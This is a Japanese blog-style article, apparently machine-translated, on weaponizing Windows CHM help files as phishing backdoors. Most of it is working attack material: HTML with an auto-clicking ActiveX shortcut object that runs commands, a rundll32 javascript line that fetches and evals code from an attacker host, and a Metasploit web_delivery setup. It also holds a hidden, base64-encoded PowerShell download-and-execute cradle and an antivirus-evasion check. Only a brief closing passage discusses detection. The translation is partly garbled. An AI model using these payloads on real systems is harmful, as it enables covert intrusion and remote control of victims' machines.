ホームページ > 記事 > ウェブフロントエンド > 高度な組み合わせスキルで「完璧な」バンドルを作成する backdoor_html/css_WEB-ITnose
私は以前、クライアント側のフィッシングに関する記事「効果的なフィッシングのための Powershell クライアントの使用」を書きました。さまざまなクライアントを使用してテストする過程で、私は個人的にそれを行いました。 CHM ファイルが最も有用であることがわかりましたが、その欠点は、ブラック ボックスがポップアップし、攻撃者に気づかれてしまうことです。では、どうすれば彼がブラックボックスをプレイするのを止めることができるでしょうか?それがこの記事の内容です~
CHM をバックドアとして使用する方法を紹介する前に、まず CMH とは何かを知る必要があります。
CHM (Compiled Help Manual) は「コンパイルされたヘルプ ファイル」を意味します。これは Microsoft の新世代ヘルプ ファイル形式であり、ソース テキストとして HTML を使用し、ヘルプ コンテンツをデータベースのような形式でコンパイルおよび保存します。 CHM は Javascript、VBscript、ActiveX、Java Applet、Flash、一般的なグラフィック ファイル (GIF、JPEG、PNG)、オーディオおよびビデオ ファイル (MID、WAV、AVI) などをサポートしており、URL を介してインターネットに接続できます。その使いやすさと多様な形式から、電子書籍フォーマットとしても採用されています。
CHM を作成するにはさまざまな方法があります。使えるツールはたくさんあるので、ここでは詳しく紹介しません。このテストでは EasyCHM を使用して CHM ファイルを作成しました。これは非常に簡単に使用できます。
次のように、任意のファイル内容を含む新しいディレクトリを作成します:
EasyCHM を開き、[新規]->[参照] をクリックします。このディレクトリを選択します。デフォルトのファイルタイプ:
「OK」をクリックして、プレビューされた CHM ファイルを表示します:
「コンパイル」を選択して CHM ファイルにコンパイルします。
[email protected]
が CHM 経由で電卓を実行するデモを Twitter に送信しました:
使用率コードは次のとおりです:
#!html<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
上記のコードを HTML に書き込み、コンパイルのためにプロジェクト ディレクトリに配置し、CHM ファイルを生成し、このファイルを実行すると、計算機がポップアップ表示されます:
nishang Out-CHM をテストした学生は、生成された CHM ファイルを実行すると、明らかなポップアップ ボックスが表示されることがわかります。次のように:
ある夜、私は突然ブレインストーミングを行い、彼がポップアップ ボックスを表示しないようにする良い方法を考えました。それは、JavaScript バックドアを使用することです。テスト後、ボックスをポップアップすることなく、meterpreter セッションを取得することができました。このテストでは、変更した Python バージョンの JSRat.ps1 を使用しました。アドレスは https://github.com/Rider/MyJSRat です。使用方法の詳細については、Readme を参照してください。
以下は完全なテスト プロセスです:
対話モードで JSRat サーバーを使用します:
#!bashpython MyJSRat.py -i 192.168.1.101 -p 8080
http://192.168.1.101:8080/wtf にアクセスし、次のように攻撃コードを取得します。
#!bashrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
多くのテストの後、上記のコマンドは chm とその HTML に正常に書き込まれました。コードは次のとおりです:
#!html<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
コンパイルして実行すると、JS インタラクティブ シェルを正常に取得できます:
直接実行するとブラック ボックスが表示されます。 cmd /c コマンドを実行すると、黒いフレームが表示されるのを回避できます。 run を実行した後、whoami > e:1.txt と入力し、read を使用してエコーを取得します。
このテストでの meterpreter セッションの取得方法は、クライアント JS 対話型シェルを取得した後、powershell コマンドを実行して直接取得します。 powershell コマンドが自動的に実行されます。具体的な操作は次のとおりです。
MSF web_delivery を有効にする:
#!bash ~ msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 8081SRVPORT => 8081msf exploit(web_delivery) > set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 192.168.1.101:6666[*] Using URL: http://0.0.0.0:8081/[*] Local IP: http://192.168.1.101:8081/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
powershell を使用するクライアントは、次のコマンドを実行してメータープリター セッションを取得できます:
#!bashpowershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
特殊文字があるため、上記のコードを Base64 形式にエンコードし、次のコードを power.txt に保存できます
#!bash$n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
次のコマンドを実行します:
#!bashcat power.txt | iconv --to-code UTF-16LE |base64
最後に、実行された powershell コマンドは次のとおりです:
#!bashpowershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
実行コマンド モードを使用して、メータープリター セッションを直接取得します:
#!bashpython MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
テスト プロセス中、CHM の実行からメータープリターの取得までクライアント側に明らかな例外はなく、プロセス全体でブラック ボックスは表示されず、以下に示すように meterpreter セッションが取得されます。
多くの人は、自分が殺されるのかと疑問に思うかもしれません。virscan の殺害結果は次のとおりです:
http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba
画像の説明 (クリックできるかどうか推測させてください):
注: いくつかのエクスプロイトを見つけたものは何でもツールを削除してファイル名を変更しましたが、元の作成者が共有したツールに問題があるという意味ではありません。
まだ防御姿勢を見つけていません。知っている友達が共有できます。最善の方法は、個人のセキュリティ意識を高めることです。この種のファイルに注意を払い、必要がない場合は、それらを仮想マシンに置くことができます。 procexp.exe を使用すると、バックドアを備えた chm ファイルが新しいプロセスを開くことがわかります:
このテストは、いくつかの既知の攻撃方法を組み合わせたもので、その結果、バンドルされたバックドアがより隠蔽され、ほぼ「完璧」なものになります。唯一の欠点は、次の場合に短いエラーが発生することです。ファイルが開かれるのが遅れます。時には、小さな抜け穴が組み合わさって大きな害をもたらすこともあれば、小さなトリックが組み合わされて大きな殺人者になることもあります。この姿勢は、友人がそれを避けることを期待して、分かち合いの精神で導入されています。